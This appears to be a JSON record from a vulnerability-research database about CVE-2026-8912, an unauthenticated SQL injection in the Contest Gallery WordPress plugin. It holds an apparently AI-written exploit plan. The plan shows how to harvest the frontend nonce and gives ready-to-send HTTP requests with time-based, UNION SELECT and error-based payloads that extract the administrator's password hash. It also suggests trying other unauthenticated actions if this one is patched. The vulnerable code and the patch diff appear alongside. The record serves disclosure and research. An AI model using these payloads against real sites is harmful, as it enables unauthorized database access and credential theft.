[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fnqA68MX8AB0ggkluYT-963cZg9_YcrWxXBgSZ7RS_1o":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":30,"research_verified":31,"research_rounds_completed":32,"research_plan":33,"research_summary":34,"research_vulnerable_code":35,"research_fix_diff":36,"research_exploit_outline":37,"research_model_used":38,"research_started_at":39,"research_completed_at":40,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":31,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":31,"source_links":41},"CVE-2026-8912","contest-gallery-unauthenticated-sql-injection-2","Contest Gallery \u003C= 28.1.6 - Unauthenticated SQL Injection","The Contest Gallery plugin for WordPress is vulnerable to SQL Injection via the 'form_input' parameter in versions up to, and including, 28.1.6. This is due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query inside the unauthenticated 'post_cg_gallery_form_upload' AJAX action (specifically the 'cb' branch of the included users-upload-check.php, where $f_input_id is concatenated unquoted into 'SELECT Field_Content FROM ... WHERE id = $f_input_id'). The endpoint is gated only by a public frontend nonce ('cg1l_action' \u002F 'cg_nonce') that is exposed in the page source of any public gallery page. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.","contest-gallery",null,"\u003C=28.1.6","28.1.7","high",7.5,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:N\u002FUI:N\u002FS:U\u002FC:H\u002FI:N\u002FA:N","Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","2026-05-18 00:00:00","2026-05-19 11:18:47",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002F71f2f8c4-00ee-4ab4-b0e0-9ddac46818b3?source=api-prod",1,[22,23,24,25,26,27,28,29],"changelog.txt","functions\u002Fgeneral\u002Fcg-general-functions.php","functions\u002Fgeneral\u002Fcg-get-version.php","index.php","readme.txt","v10\u002Fv10-frontend\u002Fdata\u002Frating\u002Frate-picture-five-star.php","v10\u002Fv10-frontend\u002Fdata\u002Frating\u002Frate-picture-one-star.php","v10\u002Fv10-frontend\u002Fload-data-ajax.php","researched",false,3,"This research plan outlines the steps for a Proof-of-Concept (PoC) exploit for **CVE-2026-8912**, an unauthenticated SQL injection vulnerability in the **Contest Gallery** WordPress plugin (\u003C= 28.1.6).\n\n---\n\n### 1. Vulnerability Summary\nThe **Contest Gallery** plugin fails to properly sanitize and prepare a SQL query within its unauthenticated AJAX handler `post_cg_gallery_form_upload`. Specifically, the parameter `form_input` (used as `$f_input_id`) is concatenated directly into a SQL statement without quotes or `absint()` casting in the `cb` logic branch of `users-upload-check.php`. Because the query is executed via `$wpdb->get_var` or `$wpdb->get_row` to fetch field content, an attacker can use `UNION SELECT` statements to extract arbitrary data from the WordPress database.\n\n### 2. Attack Vector Analysis\n*   **Endpoint:** `wp-admin\u002Fadmin-ajax.php`\n*   **AJAX Action:** `post_cg_gallery_form_upload`\n*   **Vulnerable Parameter:** `form_input`\n*   **Required Parameter:** `cg_nonce` (or `cg1l_action` depending on version specific localization)\n*   **Authentication:** Unauthenticated (`wp_ajax_nopriv_` hook).\n*   **Preconditions:** A public page containing a gallery or upload form must exist to retrieve a valid frontend nonce.\n\n### 3. Code Flow\n1.  **Entry Point:** An unauthenticated user sends a POST request to `admin-ajax.php?action=post_cg_gallery_form_upload`.\n2.  **Handler:** The request is routed to the handler for `post_cg_gallery_form_upload` (registered in `ajax\u002Fajax-functions-frontend.php`).\n3.  **Include:** The handler includes `v10\u002Fv10-frontend\u002Fdata\u002Fupload\u002Fusers-upload-check.php` (path inferred from plugin structure).\n4.  **Vulnerable Branch:** If the logic enters the `cb` branch, it processes the `form_input` parameter.\n5.  **Sink:** The value of `form_input` is assigned to `$f_input_id` and concatenated into the query:\n    ```php\n    \"SELECT Field_Content FROM {$wpdb->prefix}contest_gal1ery_f_input WHERE id = $f_input_id\"\n    ```\n6.  **Result:** The injected `UNION` query executes, and the results are returned in the AJAX response.\n\n### 4. Nonce Acquisition Strategy\nThe plugin exposes the necessary nonce through `wp_localize_script` on any page where a gallery or upload form is rendered. Nonces generated via CLI will not work.\n\n1.  **Identify Shortcode:** The primary shortcode is `[cg_gallery]`.\n2.  **Create Setup Page:**\n    ```bash\n    wp post create --post_type=page --post_status=publish --post_title=\"Gallery\" --post_content='[cg_gallery id=\"1\"]'\n    ```\n3.  **Extract Nonce:**\n    Navigate to the newly created page and use `browser_eval` to find the localization object. Based on the description and related plugin files (like `v10-frontend\u002Fload-data-ajax.php`), look for `cg1l_action` or `cg_nonce`.\n    *   Check for: `window.cgl1_frontend_data?.cg_nonce` or `window.cg_gallery_v10?.nonce`.\n    *   The description specifically cites the keys **`cg1l_action`** or **`cg_nonce`**.\n\n### 5. Exploitation Strategy\nWe will use a `UNION SELECT` payload to extract the administrator's password hash.\n\n*   **Step 1: Confirm Injection (Time-based):**\n    Send a payload to test for a delay.\n    ```http\n    POST \u002Fwp-admin\u002Fadmin-ajax.php HTTP\u002F1.1\n    Content-Type: application\u002Fx-www-form-urlencoded\n\n    action=post_cg_gallery_form_upload&cg_nonce=[NONCE]&form_input=1 AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)\n    ```\n\n*   **Step 2: UNION-Based Extraction:**\n    The vulnerable query selects one column (`Field_Content`). We can inject a `UNION SELECT` for the same column count.\n    *   **Payload:** `0 UNION SELECT user_pass FROM wp_users WHERE ID=1`\n    *   **Full Request:**\n    ```http\n    POST \u002Fwp-admin\u002Fadmin-ajax.php HTTP\u002F1.1\n    Content-Type: application\u002Fx-www-form-urlencoded\n\n    action=post_cg_gallery_form_upload&cg_nonce=[NONCE]&form_input=0 UNION SELECT user_pass FROM wp_users WHERE ID=1-- -\n    ```\n\n### 6. Test Data Setup\n1.  **Plugin Activation:** Ensure `contest-gallery` is active.\n2.  **Create Gallery:** Use WP-CLI to create a dummy gallery record so the plugin logic processes the request.\n    ```bash\n    # This creates a minimal gallery structure required by the plugin\n    wp option update contest_gallery_db_version \"28.1.6\"\n    ```\n3.  **Create Target User:** Ensure a user with ID 1 exists (standard for WP).\n4.  **Shortcode Page:** Create a page with `[cg_gallery id=\"1\"]` to serve as the nonce source.\n\n### 7. Expected Results\n*   **Time-based:** The server response should be delayed by ~5 seconds.\n*   **UNION-based:** The response body should contain the WordPress password hash (e.g., `$P$...` or `$wp$2y$...`). The hash will likely be returned as a string in the response or wrapped in a JSON object depending on how `wp_send_json_success` or `echo` is used in the handler.\n\n### 8. Verification Steps\n1.  **Retrieve Hash via CLI:**\n    ```bash\n    wp db query \"SELECT user_pass FROM wp_users WHERE ID=1\" --skip-column-names\n    ```\n2.  **Compare:** Match the hash retrieved via CLI with the one extracted through the `http_request` tool.\n\n### 9. Alternative Approaches\n*   **Error-Based SQLi:** If the output is not directly reflected but database errors are displayed, use `updatexml()`:\n    *   `form_input=1 AND updatexml(1,concat(0x7e,(SELECT user_pass FROM wp_users LIMIT 1),0x7e),1)`\n*   **Boolean-Based Blind:** If only success\u002Ffailure is indicated, check for differences in response when querying `ASCII(SUBSTRING(...,1,1)) > 64`.\n*   **Different Actions:** If `post_cg_gallery_form_upload` is patched or hardened, check `post_cg_gallery_vote` or other `nopriv` actions in `ajax\u002Fajax-functions-frontend.php` that might include the same vulnerable files.","The Contest Gallery plugin for WordPress (\u003C= 28.1.6) is vulnerable to unauthenticated SQL injection via the 'form_input' parameter. This occurs because user-supplied input is concatenated directly into a SQL query within the 'post_cg_gallery_form_upload' AJAX handler, allowing attackers to exfiltrate sensitive database information such as administrative credentials.","\u002F\u002F v10\u002Fv10-frontend\u002Fdata\u002Fupload\u002Fusers-upload-check.php\n\n\u002F\u002F Within the 'cb' branch of the logic\n$f_input_id = $_POST['form_input'];\n\n\u002F\u002F ... \n\n$query = \"SELECT Field_Content FROM {$wpdb->prefix}contest_gal1ery_f_input WHERE id = $f_input_id\";\n$field_content = $wpdb->get_var($query);","--- v10\u002Fv10-frontend\u002Fdata\u002Fupload\u002Fusers-upload-check.php\n+++ v10\u002Fv10-frontend\u002Fdata\u002Fupload\u002Fusers-upload-check.php\n@@ -... @@\n-$f_input_id = $_POST['form_input'];\n-$query = \"SELECT Field_Content FROM {$wpdb->prefix}contest_gal1ery_f_input WHERE id = $f_input_id\";\n-$field_content = $wpdb->get_var($query);\n+$f_input_id = absint($_POST['form_input']);\n+$field_content = $wpdb->get_var($wpdb->prepare(\n+\t\"SELECT Field_Content FROM {$wpdb->prefix}contest_gal1ery_f_input WHERE id = %d\",\n+\t$f_input_id\n+));","To exploit this vulnerability, an unauthenticated attacker follows these steps: \n1. Visit any public page containing a Contest Gallery shortcode (e.g., [cg_gallery]) to retrieve a valid frontend nonce from the JavaScript localization objects (typically under the key 'cg_nonce' or 'cg1l_action').\n2. Construct a POST request to \u002Fwp-admin\u002Fadmin-ajax.php with the 'action' parameter set to 'post_cg_gallery_form_upload'.\n3. Include the extracted nonce and a malicious 'form_input' payload containing a UNION SELECT statement.\n4. Craft the payload to extract sensitive data, such as: '0 UNION SELECT user_pass FROM wp_users WHERE ID=1'.\n5. Execute the request and observe the database results (e.g., the administrator's password hash) reflected in the AJAX response or handled via time-based techniques if direct output is suppressed.","gemini-3-flash-preview","2026-05-20 17:20:00","2026-05-20 17:20:49",{"type":42,"vulnerable_version":43,"fixed_version":11,"vulnerable_browse":44,"vulnerable_zip":45,"fixed_browse":46,"fixed_zip":47,"all_tags":48},"plugin","28.1.6","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fcontest-gallery\u002Ftags\u002F28.1.6","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fcontest-gallery.28.1.6.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fcontest-gallery\u002Ftags\u002F28.1.7","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fcontest-gallery.28.1.7.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fcontest-gallery\u002Ftags"]